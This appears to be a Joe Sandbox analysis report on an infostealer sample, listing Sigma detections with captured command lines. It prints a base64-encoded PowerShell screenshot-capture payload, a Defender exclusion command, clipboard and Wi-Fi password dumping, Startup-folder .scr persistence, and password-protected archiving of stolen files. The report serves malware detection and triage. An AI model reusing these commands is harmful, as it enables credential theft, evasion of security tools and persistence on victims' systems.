Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYw

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\X9g8L63QGs.exe", ParentImage: C:\Users\user\Desktop\X9g8L63QGs.exe, ParentProcessId: 3800, ParentProcessName: X9g8L63QGs.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 3540, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\X9g8L63QGs.exe, ProcessId: 3800, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\X9g8L63QGs.exe, ProcessId: 3800, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\X9g8L63QGs.exe, ProcessId: 3800, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP", CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP", CommandLine|base64offset|contains: 8c, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline", ParentImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentProcessId: 5528, ParentProcessName: csc.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP", ProcessId: 7256, ProcessName: cvtres.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3920, TargetFilename: C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *, CommandLine: C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6828, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *, ProcessId: 2564, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe', ProcessId: 7268, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYw

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\X9g8L63QGs.exe", ParentImage: C:\Users\user\Desktop\X9g8L63QGs.exe, ParentProcessId: 3800, ParentProcessName: X9g8L63QGs.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 1476, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: X9g8L63QGs.exe	ReversingLabs: Detection: 47%
Source: X9g8L63QGs.exe	Virustotal: Detection: 67%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: X9g8L63QGs.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Code function: 97_2_00007FF7080A901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

97_2_00007FF7080A901C

Source: X9g8L63QGs.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: X9g8L63QGs.exe, 00000007.00000002.1713477885.00007FFB0C620000.00000040.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: X9g8L63QGs.exe, 00000007.00000002.1710702996.00007FFB0B9BF000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: X9g8L63QGs.exe, 00000007.00000002.1711557292.00007FFB0BEEA000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: X9g8L63QGs.exe, 00000007.00000002.1711177920.00007FFB0BA55000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: X9g8L63QGs.exe, 00000004.00000003.1270486310.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: X9g8L63QGs.exe, 00000007.00000002.1711557292.00007FFB0BE52000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: X9g8L63QGs.exe, 00000004.00000003.1270486310.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: X9g8L63QGs.exe, 00000007.00000002.1711557292.00007FFB0BEEA000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.pdb source: powershell.exe, 00000046.00000002.1499829000.0000017515AF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000061.00000002.1609980700.00007FF708100000.00000002.00000001.01000000.0000001F.sdmp, rar.exe, 00000061.00000000.1596460046.00007FF708100000.00000002.00000001.01000000.0000001F.sdmp, rar.exe.4.dr
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1716138569.00007FFB1D5B1000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: X9g8L63QGs.exe, 00000007.00000002.1714464196.00007FFB167AB000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1715936942.00007FFB1D341000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.pdbhPa source: powershell.exe, 00000046.00000002.1499829000.0000017515AF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: X9g8L63QGs.exe, 00000007.00000002.1714464196.00007FFB167AB000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: X9g8L63QGs.exe, 00000007.00000002.1711177920.00007FFB0BA55000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.pdb source: powershell.exe, 00000046.00000002.1579982318.000001752C6A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: X9g8L63QGs.exe, 00000007.00000002.1712634643.00007FFB0BFE1000.00000040.00000001.01000000.0000000F.sdmp

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26683B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00007FF7C26683B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26692F0 FindFirstFileExW,FindClose,	4_2_00007FF7C26692F0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26818E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	4_2_00007FF7C26818E4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26692F0 FindFirstFileExW,FindClose,	7_2_00007FF7C26692F0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26683B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00007FF7C26683B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26818E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_00007FF7C26818E4
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080B46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	97_2_00007FF7080B46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080AE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	97_2_00007FF7080AE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080F88E0 FindFirstFileExA,	97_2_00007FF7080F88E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\AppxSip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\en-GB\CRYPT32.dll.mui
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SYSTEM32\OpcServices.DLL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7488c4f196cfa60a4ca5cca24e2169b0\Microsoft.Management.Infrastructure.ni.dll

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
